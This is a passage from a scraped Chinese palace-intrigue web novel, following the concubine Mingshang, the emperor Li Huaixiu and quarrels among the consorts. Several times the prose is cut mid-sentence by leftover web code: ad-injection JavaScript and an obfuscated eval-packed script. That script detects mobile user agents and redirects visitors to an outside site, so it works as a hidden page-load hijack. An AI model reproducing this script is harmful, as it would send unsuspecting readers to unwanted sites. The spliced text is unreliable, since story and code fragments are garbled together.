。女子着红衣而入,素手勾着琴弦,动如清风,面覆红纱,一双含情眸波光流荡,歌声婉转,如莺啼,似燕语。 “东风夜放花千树。更吹落、星如雨。宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。蛾儿雪柳黄金缕。 笑语盈盈暗香去。众里寻他千百度。蓦然回首,那人却在,灯火阑珊处……” 底下嫔妃愕然,有人认出这人是谁,已经开始窃窃私语,“倒是个会钻空子的,趁着皇上在这,竟唱了这么一出戏!” “新进的妹妹们确实有本事,这曲儿唱得,连我心动了呢。” “不是说徐答应病了,怎么皇上一来,就跟猫见了腥似的巴巴过来,病也全好了。” 明裳听着周遭的奚落,脸上没什么表情,她眼眸悄悄往上一抬,高坐的男人看似是在听曲儿,可那眼底藏着的,却是深不可测的淡漠之色。 落花有意,流水无情。她不禁生出好奇,手握江山的帝王,天生薄情寡性,不知倒底会对什么样的女子动心。 尾音卷着满池的荷花落下调子,徐答应含羞带怯地福身,“嫔妾请皇上,娘娘,各位姐姐安。” 李怀修眼皮子掠向伺候的全福海,全福海心领神会,“皇上,这是新进宫的徐答应,您还夸过她嗓子好,只是入宫了染了风寒,病了许久。” 李怀修点了点头,搁下了手里的茶盏,目光落到下面的女子身上,“病好全了?” 徐答应听得脸越来越红,怯羞羞地“嗯”了一声,又觉失礼,恭恭敬敬地答话,“回皇上,昨日嫔妾身子痊愈,本是要再养一日去给皇后娘娘请安,但今日得知娘娘设宴,本想唱给后宫姐妹们助兴,不想……不想皇上也在。” 闻言,有人忍不住鄙夷,倒底是巧合还是有心设计,在座的人都心知肚明。今儿皇上不来,怕是明日徐美人还要称病告假,何曾把皇后放在眼里。 赏荷宴兴致勃勃地来,散去时众人心里却都是不好受,先有宝珠公主,后有徐答应,本就少得可怜的圣宠又多分一杯羹,谁还能高兴得起来。 当夜,嫔妃们都等着信儿,皇上究竟是要去上林宫看宝珠公主,还是要去秋水榭召徐答应侍寝,毕竟徐答应那副嗓子确实好,唱的曲儿直叫人入了温柔乡。 夜幕将至,敬事房小太监端着嫔妃的名册到了御前,今儿八角亭的事儿传遍了后宫,都等着皇上点寝,全福海也生了好奇,但他可不比下面那些没分寸的奴才,即便好奇,也得压得死死的。 李怀修头也没抬,朱笔落下一行红字,指骨在上点了点,招来全福海,“拿去御书房,明日后午召左军大臣觐见。” 全福海躬身接下,转身之际,见皇上拂袖起身,撂了阮嫔的玉牌。 15.第 15 章 皇上去了上林宫,意味着宝珠公主在皇上心里的地位,倒底非下面那些嫔妃所能比。不过细想并不意外,皇上一国之君,什么样的山珍海味没有见过,徐答应这般嗓子好听的,宫廷乐师里,单拎出来就能有数十个,倒也不出奇。 翌日到坤宁宫问安,徐答应姗姗来迟,那双眼又红又肿,不知昨夜哭了多久。在座的嫔妃们都等着看徐答应的好戏,昨日那副惺惺作态的模样。谁见了都忍不住作呕,结果皇上随口问了句,压根没放在心上,岂不是可笑极了。 “徐答应今儿的病可算是好利索了。”姜贵人柔柔的一句奚落,惹得在坐的几个嫔妃忍不住笑出声,帕子掩住了唇角,却挡不住眼里的讥讽。 徐答应羞耻至极,她勉勉强强提了提唇线,忍住羞辱,白着脸色对姜贵人笑道:“嫔妾身子好得差不多了,多谢姜姐姐关心。” 姜贵人捂唇,“不止是我,后宫的姐妹都关心徐答应的身子,徐答应要谢,可谢不过来了!” 徐答应脸色难看,却不敢讥讽回去,她入宫没多久,位份又低,姜贵人母家权势高,非她能得罪得起。 在坐的嫔妃津津有味地听着这场交锋,乐得姜贵人下徐答应的脸面,好好一场赏花宴,怎甘心平白给了徐答应做嫁衣。 请安离开坤宁宫,柳美人袅袅婷婷地走在前头,余光瞥见后面的人影,扶着妙清的手,笑得弯了腰肢,“也不看看自己什么身份,还妄想飞上枝头,回去学学痴人说梦四个字怎么写吧。” 走在后面的徐答应听了脸色时青时白,被人羞辱了大半个时辰还不够,出了门竟然还要听那些奚落,徐答应从没如此受辱过,她掐紧了指尖,眼圈红得吓人。 这番情形,落入了陈宝林眼中,她看了许久,眼底竟露出了笑意,“其实这样也挺好的。” 翠苏不解主子话里的意思,疑惑皱眉,“主子说什么挺好的?” 陈宝林收回眼,抬步迈出了坤宁宫的殿门,日头照到她的肌肤,透出淡淡的粉,整个人也要比前几日精神许多。 她笑着说,“有徐答应这个出头鸟,日后注意到我的人自然而然就少了。” 宫墙边探出翠绿的新柳,翠微不经意抬眼,神情一怔,不知为何,她竟觉得眼前的主子让她有些陌生。 …… 明裳从那日赏荷宴就看出了皇上的态度,皇上对徐答应并没多大兴趣,不过宫里少有徐答应那样的好嗓子,于那位而言,也算是朝中政务乏累的疏解,是以,她料想,过不了多久,皇上就会召幸徐答应,倘若徐答应懂得进退,侍候得好,待他日有了皇嗣,在后宫里也好立足。但依着徐答应的性子,大抵是安分不了。 白釉梅瓶里的水溢出大半,月香捧着花篮进来,抬眼瞧见,惊呼出声,“主子!” 明裳回过神,手中提着的长嘴壶清水洒了桌面,淋淋漓漓染湿了她的衣袖。明裳若无其事地用帕子擦净了指尖的水,“别愣着,过来收拾收拾。” 主子心思细腻,从不会出这样的岔子,月香小心翼翼地问道:“主子是在想徐答应?” 毕竟今日问安,较往日也就多了徐答应这个显眼的人。 月香跟她太久,主仆二人早有了默契,明裳不说话,垂着眸子把玩指尖的丹蔻。 “奴婢觉得徐答应不足为惧,且不说徐答应性情比不上主子一半的聪慧,徐答应只有一副好嗓子能拿得出手,论美貌与主子可是天差地别……” 月香嘴甜,尤为地会哄人,明裳耐不住她把自己夸得天生有地上无,弯了弯唇角,指腹点她眉心,“行了,知道的是知道你在说我,不知道的,还是为是仙女呢!” “主子可不就是仙女?仙女都不及主子一半的好看!” 主仆二人在里面说话,杜姑姑捧着御膳房的午膳进来,看见明裳湿了的裙裾,立即正起了脸,一板一眼道:“主子如此作态,实在失了祖上的规矩……” 杜姑姑本性虽好,却是过于刻板守旧,明裳不觉这位杜姑姑是来教她插花的,倒像极了入宫前的教养嬷嬷。她小脸一瞬垮下来,眸子微微一转,亲自接过了杜姑姑手中的食盒,“皇上政务繁忙,早朝到现在大抵还未用过午膳,我去一趟御前,劝劝皇上注意身子,切莫过多劳累。” 说罢,倒也不等杜姑姑开口,给月香使了个眼色,施施然出了内殿。 殿里,杜姑姑瞧着那位主子花蝴蝶般提着裙摆翩然而出,拧了拧眉梢,旁人未见地摇头叹息了一声。她曾侍候先太妃左右,对这宫中人心略识一二,这位主子性子如此跳脱无术,看似与后宫别的主子娘娘们与众不同,能入圣眼,她却不以为然,宓常在终究是年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纪轻,少了些定性,日后怕是少不得吃些苦头。 …… 日头升到正中,全福海拿着帕子擦了把颈后晒出的热汗,天儿热得厉害,他不过站了一会儿,脊背就湿了一片。 再过一月秋闱,皇上正与礼部商议个中细节,也不知道什么时候结束,该是用午膳了,皇上早膳就没吃几口,再耽搁午膳伤了身子可怎么好。 全福海操碎了心,巴巴盼着殿门赶紧打开,好让御膳房把午膳送进去。 正想着,远远地九级汉白玉台阶下,翩翩上来一道清丽的人影,旁边伺候的小宫女撑了一柄素白缎面的油纸伞,伞面徐徐掀起,露出女子娇媚的面容。主仆二人上了台阶,全福海瞪大了眼看清,来人竟是宓常在。 非他惊讶,宓常在尚未侍寝时,就不曾到了御前,承了恩宠,也只叫宫人送过一回荔枝。这还是头一回,亲自来了这乾坤宫。 宓常在确实与众不同,不论是性情还是容貌,在这后宫里头都是拔尖儿。至少全福海伺候皇上这么久,从未见过皇上待身边哪个女人如此特殊过。 他赔上笑脸,亲自过去迎人,“奴才请宓主子安。” 没有十分的眼色,可坐不到御前大公公的位置。 明裳弯了弯唇,“今儿热得紧,御膳房做了石斛麦冬汤,给皇上解暑气正好。” 话音刚落,殿内的门打开,大热的天儿,六部几个官员擦着一头冷汗迈过门槛,全福海显然习以为常,乐呵呵地恭送几位大人,明裳退到外侧避开,待人都走了,全福海进殿通禀,不一会儿出来脸上笑意更加真切,“宓主子来得巧了,皇上还未用午膳。” 殿内前后槅窗半开,通着清凉的风,明裳踏进内殿,屈膝福身时,一眼先看见了金砖面儿上凌乱散着的黄娟十二开折子。不待男人让她起身,明裳弯下腰肢,将折子拾起,纤细的手指轻轻抚平云龙纹的娟面的褶皱,捧到怀中,提起裙裾走上台阶,到御案前将折子摆到一侧,未多问一句,接着放下手中食盒,盛出两勺羹汤,动作行云流水。 女子红着容色,娇声软语,“晌午了,嫔妾得知皇上还未用膳,吩咐御膳房做了些解暑的汤水,皇上用些吧。” 李怀修靠着銮座,捻了捻拇指的扳指,凝着女子的粉面,黑眸微眯,“你今日这规矩确有些长进。” 16.第 16 章 明裳脸蛋一红,闷闷哼了声,“皇上可真小气,嫔妾不过说了一句不痛不痒的话,却日日受着杜姑姑磋磨,叫皇上记到现在。” 坐到这个位子上,倒是头一回听到有人敢说他小气。 李怀修“啧”了声,拧起眉,手掌不轻不重拍了把明裳的腰臀,“朕方才那句夸赞是白说了。” 男人语气重,脸色却是不咸不淡,未放几分心思在她身上,明裳大抵猜到是因前朝之事烦心。方才殿内出去的大臣气虚无力,凉汗涔涔,显然是受过一番训斥。天威难测,进退分寸,明裳算得清楚。 她将积压的奏折整理好,放到一旁,端起汤水,汤勺搅了搅,眸子很认真道:“前几日嫔妾苦夏,全靠这石斛麦冬汤解了暑气,撑到现在,皇上快些尝尝。” 李怀修被她一本正经的表情弄出几分笑意,嘴角微牵,“朕是苛待你了,还是下面的奴才不长眼,顺湘苑总不能连冰都没有,叫你热成这样。” 他宠着这女子,不知背后有多嚣张,转头又到他跟前抱怨,小心思太多。 明裳哪听不出话里的戏谑,面容不悦,“皇上倒底喝不喝嘛,嫔妾一番心意,皇上反倒在这挑三拣四。” 分明在他面前毫无规矩,但这女子委屈哒哒,又硬着气冲他撒娇的小模样居然让他可爱又可怜。 李怀修忍不住头疼,屈指点了点御案,“朕让你进来,是给你的恩赐。” 嘴边骤然一暖,李怀修抿唇怔了下,眼皮微掀,那女子娇滴滴地瘪了瘪唇瓣,敷衍应他,“好好好,嫔妾谢皇上隆恩,皇上快些喝吧,过会儿凉了就不好喝了……” 李怀修嘴角轻扯,没什么表情地抿了一口。 御膳房的午膳自是珍馐美味,但他吃了这么多年,早就有些腻味。 汤水用了半蛊,明裳见男人不过敷衍几口,又拿起了奏折,便放下汤勺放轻动作装到食盒里。 殿内很静,李怀修处理政事眉宇肃静,极为认真,明裳擦净了手,搭到男人肩膀,捏按的动作柔情似水。 这人罕见的懂事温顺,李怀修难得软下心肠,一面批着朱红,一面开口道:“累了就到后面寝殿去歇着。” 明裳摇摇头,“嫔妾不过日日受杜姑姑教导,哪里会累。嫔妾只是心疼皇上,皇上忙于政务,连用膳都要没个安生,长此以往,怎么可好。” 李怀修笔尖微顿,侧过身,看向女子的脸,眼眸深不见底,他捻着扳指,忽而伸手,钳住了明裳的下颌,“蜜做的?净挑朕喜欢的说。” 明裳无辜地眨了眨眸子,“什么做的,皇上还不知道吗?” 李怀修笑了,眸色更深,不论这女子真情假意,是否是与后宫一般地奉承,但似乎,他喜欢极了听她说那些讨巧卖乖的话。 大抵后宫里没有嫔妃能有宓常在的本事手段,不过送了一回羹汤,不知怎么的哄得皇上龙心大悦,直接把人留在了乾坤宫寝殿侍寝。 …… 杜姑姑回了尚宫局,最高兴的莫过于月香。月香一张脸快要笑成了花,“还是主子有本事,奴婢终于不用再听杜姑姑板着脸念经了!” 辛柳添上茶水,接道:“若非你性子跳脱,杜姑姑也不会整日逮着你不放。” 清香的翠山云雾放了两枚糖块,明裳最爱饮这种甜滋滋的茶水,但皇上不喜欢,她要将就着男人的喜好,便要泡苦得涩的信阳毛尖。 明裳听着两个小丫头你一言我一语的接话,难得生出闲散的兴致。她瞧着冰鉴里的冰块要没了,点了月香去尚宫局取冰。月香人活泼爽利,又眼力足,入宫没几个月就结实了内务府的许多宫人,如今主子得宠,更多宫人乐得巴结,卖月香一个人情。是以,近日月香到内务府取冰,拿回来的无一不是上成的整品。 今儿个巧了,月香掀帘进去,就看见了许久没见的彩芸。彩芸不似以往的趾高气扬,发鬓间只簪了一只青簪,瞧着身上的衣裳打扮,大抵也不再是柳美人身边的大宫女。月香可没忘了之前在彩芸这受过的气,瞄一眼彩芸怀里捧着的冰匣子,“呦”了声,“彩芸姐姐也是来取冰的?” 彩芸见不得月香看好戏的模样,她落魄至此,不再受柳美人信任,还不都是因为顺湘苑! 她忍着火气没发出来,冷冷瞪上一眼,提步就要走。 月香眸子一动,似是不经意伸出了一只绣鞋,正正好好横到了彩芸脚下,彩芸猝不及防,扑通一声,四仰八叉扑到了地上,冰匣摔开,里面的冰块洒落一地。 月香生出恰到好处的歉意,身子却不偏不倚地避开,只嘴里歉意道:“我不是有意,彩云姐姐可有事?” 彩芸气得牙都要咬碎了,她不是故意的谁信! 这面动静大,引得内务府做事的宫女太监都往这看了眼,瞧见彩云摔得惨兮兮的样儿,没忍不住的噗嗤笑出声。彩芸以前仗着柳美人的势,没少欺负他们这些没主子的奴才,如今倒好,恶有恶报,可算有人给他们出了口恶气。 彩芸听见周遭的笑声,脸色更加难看,狠瞪了眼跟着的小宫女,“蠢货!愣着做什么,还不快扶我起来!” 小宫女极为委屈地扶起彩芸,彩芸拍去宫裙蹭上的泥土,强忍着才没冲月香撒火,“别得意得太早,日后别跪在我跟前求我放过你!” 月香嘴皮子利索,“这话该是我送给彩云姐姐才对。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “哦,对了。”月香似是想起什么,瞄了眼地上的碎冰,“各宫冰鉴的用度都有规矩,姐姐弄洒了冰,还是想想怎么跟柳美人交差吧。” 彩芸气得发抖,转身指使分冰的小太监,“去,再给我拿一匣。” 小太监瞅瞅月香,犹豫不决,月香冷笑,“苏公公以前可是说,阖宫用度都有规矩,没了就是没了,万不能乱了章法。” 这两位都不是好伺候的主儿,小太监吓出了一头冷汗,万般后悔之前怎么就把顺湘苑给得罪了,这下是搬起石头砸自己的脚。 他不得已硬着头皮,僵笑,“彩芸姐姐已领过了丽景轩的份例,今儿确实没了。” 彩芸真真切切体会到了后宫的捧高踩低,以往柳美人得宠,谁不得高看她一眼,现在倒是反过来了! 适才情形混乱,做事的宫人都留心看了热闹,却未察觉落入另一人眼。 角落中,翠苏呼吸放轻,低头盯着怀中半匣拿到的碎冰渣子,手心紧了紧,忍不住替主子难过。 …… 自打明裳受宠以后,杨嫔的恩宠就淡了下来,新入宫的这波嫔妃里,起初杨嫔最是受宠,有了宓常在后,皇上似乎已经许久没召杨嫔侍寝。后宫人都跟明镜似的,皇上宠爱杨嫔,是因为杨嫔的家世地位,皇上再对杨嫔宠爱,不也没给封号不是?不像那位宓常在,侍寝一晚,不仅升了位份,还得一个极好的封号。 宓,安宁柔静,绝代倾国。宓常在的姿容确实当得起这个“宓”字。可细细想来,这封号也探不出其余深意。女子以姿色侍人,终不能长久,皇上所赐宓字,究竟是对宓常在的喜爱,还是只看中了那副皮囊,旁人也未可知。这后宫中,又有谁敢对那位的心思,妄加揣测。 坤宁宫 皇后手中拿着剪刀,坐在圆凳上,修剪着樱桃伸出的枝杈,嫩绿的枝叶飘落下台阶,“内务府的杜宫女调回去了?” 文竹跟在身侧回话,“今晨一早,全公公就领着杜姑姑回了尚宫局。”她微顿了下,迟疑道,“娘娘,皇上待宓常在是否过于纵容。” 毕竟皇上从未在乾坤宫寝殿召寝过嫔妃,就连娘娘,也不曾宿过乾坤宫。宓常在得宠才多久,旁人去御前,皇上见都不见,宓常在去御前竟直接让皇上留了人。这个宓常在,手段似乎过于厉害。 皇后微抿起唇,良久才道:“宠爱与否,日子长了才看得清楚。眼下,留着宓常在尚有些用处,至于旁的,全凭她们自己去争罢。” 这后宫里,又有谁不想得一分圣宠,她虽是皇后,管得了后宫内务,却也管不了那些人的心思。承着恩宠的宓常在,何尝不是一把最锋利的刀。 17.第 17 章 陈宝林亲自调了红豆冰酪羹,翠苏捧着碎冰回知画斋,听主子唤她,取如意瓷碗,浇上冰,好为宓常在送去尝尝。 主子眼底期盼,面有柔色,大抵是真心想与宓常在交好。翠苏无端生出气闷,脱口囔声,“主子待宓常在好,宓常在在宫里愈发得势,可也不见记起主子。” 陈宝林眸色微变,原本生出的笑意慢慢淡下来,一如平常地与她说话,“你以前不是希望我与宓常在交好,今儿是怎么了?” 珠帘垂落的暗影映着陈宝林的侧脸,翠苏毫无察觉主子神情已有些怪异,一五一十叙了在内务府看到的一幕。 “主子受不得热,内务府又惯来欺负咱们,宓常在怕是从未记挂过主子在宫里过得好不好,问也不过问一句,奴婢甚至想,宓常在大抵与宫里那些人一样,瞧不上咱们知画斋。” 陈宝林并未打断翠苏,只是在翠苏话落之后,仿若无意,失手打翻了案上的茶水,她面色很淡,翠苏却猛然醒神,扑通跪到地上,“奴婢失言,主子恕罪!” 她咬住下唇,懊悔地闭了闭眼,主子性子素来敏感,她自己想想也就罢了,近日主子好不容易心情好些,她怎能说这种话让主子难过。 陈宝林持着调羹,漫不经心地搅动瓷碗中的红豆冰酪,“宓姐姐得宠,我自是替她高兴。她几番为我解围,不论真心假意,是否瞧得上我,我全不在意,这些话,日后莫要再说了。” 翠苏低头应声,她起了身,到殿外去取食盒,越过珠帘时,耳边听殿里主子无意轻声,“倘若不能怀上皇嗣,承再多的恩宠,与我又有何异……” 日光照出的地面之上,翠苏身形一晃,面色如纸般惊骇惨白。 …… 五日后,徐答应得召俸驾。 徐答应生有一副好嗓子,寻常的男子尚且以做乐之名常常留恋勾栏瓦舍,舞姬歌乐。当今皇上虽贵为一国之主,倒底也是男子,但虽有召幸,迟迟未给封号位份,始终是个答应,徐答应私下里不知遭了多少人讥笑,都传徐答应曲儿唱得再好,似乎也并未真正让皇上满意。徐答应心里有气,又心气高得厉害,生性不安分,不过侍寝两回,便端足了主子的架子,处处颐气指使。 明裳与陈宝林到御花园,前午下了雨,水珠打着芍药的花芯,别有一番怜意。 两人相扶上了台阶,陈宝林无意提起上回送去了红豆冰酪羹,问姐姐吃得可还喜欢。天儿热得紧,明裳拭了拭额头的汗珠,侧脸朝她笑,“喜欢喜欢,又甜又清爽,我还想着再向你讨要几碗。”陈宝林双颊微红,低眉生出羞色,“宓姐姐与我说什么讨要不讨要的,姐姐喜欢吃,我做给姐姐便是。” 两人未说上几句,耳边听闻一阵女子的吵嚷声,彼此对视一眼,具停住了身子。 是柳美人与徐答应在园中争执。 陈宝林忽然想起一事,附耳与明裳,“请安时嫔妾瞧见,柳美人身边的宫人似是不慎冲撞了徐答应,徐答应当时面有恼怒,受了柳美人几句羞辱,并未发作。” 明裳挑眉抬眼看去,便见徐答应死死捂住右脸,憋了满眼的泪水,柳美人冷笑,“少跟我装无辜,小门小户出身,心气儿倒不低,今儿个就让我教教你规矩。” 柳美人显然气得不行,她右手抬起,重重打向徐答应的侧脸,徐答应两臂叫柳美人的宫人钳制住,动弹不得,硬生生承受下了这一掌,白净的脸蛋正正好好留下一对巴掌印,红肿不堪,甚是唬人。 “柳美人,你欺人太甚!”徐答应那副嗓子犹如莺啼,泣泪涟涟,梨花带雨,这般委屈,旁人听了忍不住心疼怜惜。柳美人最是听不得她这副勾人的模样,与顺湘苑那个小贱人一样,用这般下作的手段把皇上勾了过去。 柳美人咬着牙关,“别以为学了勾栏瓦舍的本事就能哄着皇上宠你,也不看看自己是个什么东西!” 徐答应侧脸火辣辣得疼,又屈辱又难堪,眼眶里泪水直流,日头晒得她眼晕,朦胧间,她看清了远处走近的人影。徐答应眼眸登时亮了几分,她脑子不笨,知晓该如何博得男人怜惜。 “嫔妾从未做错过什么,柳姐姐为何要责罚嫔妾……” 柳美人背对着石子小径,没看见过来的圣驾,见徐答应服软示弱,反而有几分得意,她轻蔑道:“你最大的错处,就是得了皇上的宠,我自然要罚你。” 徐答应仍旧委屈,“后宫嫔妃,皆是为了侍奉君王,柳姐姐难不成要一一责罚了吗?柳姐姐如此善妒,皇上可知晓?” “少给我叩莫须有的帽子。”柳美人冷冷道,“你同顺湘苑那个小贱人一般,最会惺惺作态!” “我今日就是打你了,又能如何?” 柳美人扬起了手,徐答应看准时机,飞快地冲过来的圣驾喊道:“皇上!” 皇上?! 柳美人神色惊住,她身子僵了好一会儿,直至听见后面的男声,脸色彻底白了下来。 “这是做什么?” 李怀修拂袖走近,负着的手漫不经心地轻捻扳指,即便看见了自己宠着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967739|147324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人挨了巴掌,脸上也没有一分一毫的动容。 “皇上……”徐答应抢先哭出了声,泪水从眼眶里滚下来,鬓边的发簪被打得歪斜,脸上那两道巴掌印愈发显眼,衬着一双红肿的眼睛,三分落魄,七分可怜。 李怀修眼光落到柳美人身上,柳美人触到皇上的脸色,吓得扑通跪下身,颤着眼睫,战战兢兢道:“皇……皇上,徐答应冲撞嫔妾,不知悔改,嫔妾只是教教她规矩。” “当真?” 李怀修是在问向后面跪着的徐答应,柳美人吓出一身冷汗,徐答应哭得抽咽不止,说不出话,良久,才勉强咬住了声,“是嫔妾的错,皇上不要责罚柳姐姐,柳姐姐也不是有意……” 一句话,气得柳美人强忍住才没再去扇徐答应一巴掌,当真会卖弄心计,颠倒是非黑白! “皇上,嫔妾……”柳美人急得张了张口,说不出一句为自己辩解的话,她该说什么,人是她打的,那些话也是她亲口说的,说什么都是苍白得无力。 徐答应越哭越委屈,竟不顾体面,直接起了身子,扑到李怀修怀里,此番张扬,还在假惺惺地为柳美人说话,“不是柳姐姐的错,都是嫔妾不好……” 一旁站着的全福海都看不下去了,他偷偷觑了觑皇上的脸色,即使徐答应扑过来,皇上仍旧八风不动地站着,丝毫没有怜惜怀中软玉温香的意思,看来这徐答应确实是剃头挑子一头热,皇上待徐答应,大抵就是一时的兴头。 最后,徐答应跟着圣驾离开,柳美人失魂落魄地留在原地,这时候再哭,又有谁能看得见。 远处两人都未料想到,会是这般结局,徐答应确实命好。 陈宝林站在假山后,怔然看着眼前令她意外的情形,手心微紧,眼底闪过一抹艳羡的妒色。 …… 圣驾到了承明宫,全福海候在外面,果不其然,不到一会儿就听里面唱起了曲儿。徐答应受宠有受宠的资本,比起宫廷的乐师不遑多让。 这夜圣驾留在了秋水榭,徐答应沐浴过,着一袭湖蓝的掐腰衾衣,羞答答地走到床榻边伺候李怀修安置,她瞄了眼男人的脸色,仿若不经意道:“嫔妾今儿请安,与宓常在说了几句话。” “宓常在生得可真好看,怪不得初初侍寝,皇上就给了她封号。” 李怀修捻着扳指的手微微一顿,掀起眼皮,掠向为他解着腰封的女子,徐答应仰着脸,触到男人视线,笑意陡然僵住,原本还要再说的话卡在了喉咙里,好半晌没敢冒出话音儿。 18.第 18 章 “皇上,嫔妾只是随便说说,没有别的意思。” 徐答应僵着身子地跪下,手心攥出了一层凉汗,君心难测,外人面前承宠风光,只有她知晓,私下里,皇上是有多喜怒无常的人。不知宓常在在君侧时,是否跟她一般的心惊胆颤。 那张脸褪了些许的红肿,原本是小家碧玉的姿容,但配上鬓边的大红海棠,终究有些庸俗。 李怀修脸色寡淡下来,合起书册,将腰封重新合上,淡淡道:“既然想要位份,明日朕下旨,晋封你为从六品常在。” 徐答应愣了神,尚没反应过来,见皇上已起身下地,她下意识扯住了男人的衣袖,却是迟了一步,“皇上这是要去哪?” 李怀修沉声让全福海进来伺候,指腹理着衣襟的扣子,“御前的折子没批完,朕回去看看。” “可是皇上今夜不是召了嫔妾侍寝?”徐答应慌忙起身,皇上召了她侍寝,可当夜又早早地离开,叫旁人知道,该如何看她! 徐答应不愿让皇上走,但没等她说下去,抬眼觑到皇上的神色,倏然不敢再说话了。 她掐紧了手心,努力扬起笑脸,捧着金线织锦的玄衣到男人跟前,“嫔妾伺候皇上更衣罢。” 皇上既然给了她位份,她不该不知满足,可她总觉得缺了什么,心里空落落的,皇上当初待宓常在甚是阔绰,提位份,赐封号,御前的赏赐流水似的进了顺湘苑,做甚到了她这儿,讨要个封号都要战战兢兢。 圣驾出了秋水榭,全福海跟在銮舆旁伺候,方才徐答应出来恭送的模样,可是叫人瞧得清楚,那眼睛红的,比白日挨了柳美人的巴掌还要委屈。谁能想到,皇上本来要召徐答应侍寝,结果又转回了乾坤宫。 全福海也不明白徐答应是怎么把皇上得罪了,瞧着皇上方才的脸色,看似如常,实则全福海看得出来,皇上早就隐隐有了些不耐。 …… 御花园那事儿又成了后宫的笑谈,当夜徐答应虽未能侍寝,但从答应升到常在的位份,六宫愈发看不懂,皇上待徐答应是何态度。 明裳倚着朱红的凭栏,有一搭没一搭地给湖里的鱼喂食,她投得快,没一会儿就投去了一捧,湖里黑金的鱼不知被喂了多少,个个长得溜圆肥胖。 辛柳见主子大半身子都探了出去,吓得心惊胆颤,忙过去将人扶住,“奴婢总听宫人说有主子不慎落水,主子可要谨慎些。” 明裳恹恹应声,不知听去了多少。 昨夜降了大雨,嫩绿的芭蕉叶上挂着圆滚滚的水珠,明裳不喜下雨,每每这个时候,父亲的旧疾都会发作。她有一回偷偷看到过,父亲疼得躺在地上起不来,全身的大汗淋漓。 明裳没心思再待下去,正要离开,丽妃入了凉亭,“巧了,宓妹妹也在这。” 明裳福了身子,“娘娘要寻清净,嫔妾先行离开,不在这扰了娘娘。” 没等明裳下去台阶,丽妃眸光微微一闪,拦住了她,“本宫一人也是无趣,宓妹妹在这给本宫做个伴儿也好。” 明裳多看了丽妃一眼,含笑应声。 两人坐着,无非吃茶赏景,丽妃笑得温温柔柔,鬓边雪白的山茶花衬得整个人如出水的芙蓉,韵态怡然,媚而不俗。 “宓妹妹似乎有心事?” 丽妃开口打断了枝头的鸟啼。 明裳没即刻回话,拭了拭额头的汗珠,垂下眉眼,话里挑不出错处,“娘娘身份尊贵,嫔妾敬仰,只是不知该如何与娘娘攀谈。” 丽妃掩住唇角,眼尾欠了欠,饶有兴致,“早就听说宓妹妹嘴甜,今日说这几句话,果然跟抹了蜜似的。” 她话音一转,眼底显出几分深意,“不怪皇上也喜欢宓妹妹这般的妙人,本宫服侍皇上已久,皇上寡欲自持,从未听说过皇上接连两夜召幸哪个嫔妃。” 明裳摸不清丽妃倒底在试探她什么,是要在这跟她示威,还是要给她警醒。但她不觉自己哪里特殊,这些日子,皇上宠着新上位的徐常在,可没再去过她那。 宫人沏了新茶,明裳借着喝茶的空档,垂下了眼帘,脸颊羞上了些许绯红,“嫔妾入宫不久,懂得不多,只是听了皇后娘娘的教导,尽心伺候皇上。皇上过来,嫔妾便小心翼翼地服侍,皇上不来,嫔妾就等着皇上来,不想让皇上烦心。” 这番话,十足得初初进宫,毫无心机的闺阁女子模样,倒是让丽妃诧异一番,不禁蹙起了眉心,难不成她想错了,宓常在当真只是一个空有美貌,能哄得皇上欢心的花瓶美人?但她总觉得不对劲儿,倘若毫无心计又怎会处处压得柳美人一头。 明裳没滋没味儿地饮完半盏茶水,不愿再坐下去受丽妃试探,起了身,屈膝道:“嫔妾每日这个时辰习惯抄一卷经书祈福,不能再陪娘娘观景,娘娘恕罪。” 那副怯生生的神情好似是在怕她,丽妃真有些看不懂这个宓常在,她柔柔一笑,“抄经书是积善好事儿,宓妹妹确实有心。” …… 徐常在受宠一段日子,忽然就冷清下来,徐常在不由得战战兢兢,不知自己说错了哪句话,得罪了皇上,皇上多日未到她这来,她又急又忧,都无心编排新曲儿。 前朝那头全福海忙得停不住脚,马上秋闱,皇上今岁是铁了心废除旧治,改革新法,偏偏前朝那头土埋半截的老顽固死活不同意,昨儿闹得厉害,竟当场一头撞去了金銮殿蟠龙柱,溅了一地血,直接昏死过去。毕竟这次新政,动了世家的根基,那些人怎会心甘情愿。 他从未见皇上脸色难看得那般厉害,但皇上仍旧雷厉风行,让小太监把昏死过去的朝臣拖出殿门,谁再有异议,直接拖出去斩了,这下,那些人才把脑袋缩了起来。虽说皇上才登基两年,军权却收回于手,手下执掌重兵,那些老顽固即便再动心思,也得掂量掂量轻重,命都没了,要那些土地财宝,又有何用。 入夜,乾坤殿殿门紧闭着,稍许,噼里啪啦传出一阵茶盏滚地的响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翌日天明,明裳醉意终于随着困乏退了下去,她懒洋洋地翻过身,这一动,才发觉浑身都有些难以言喻的酸意,她睁开眸子,看清了外侧躺着的男人,霎时睡意全无。 明裳怔怔地眨巴两下眼睛,“皇上?” “皇上什么时候到的嫔妾这儿……” 李怀修昨夜睡得迟,一早被这女子吵醒,心底烦闷,拧起眉,不耐斥了一句,“闭嘴。” 男人脸色寡淡,透着股显而易见的倦色,明裳倏然噤声,没敢再说话,这段时日后宫也有风声,听闻是前朝出了事,这位才如此劳心烦躁。 江山社稷,件件都要经皇帝之手,坐在这个位子上,又怎会只有万人之上的风光那么简单。 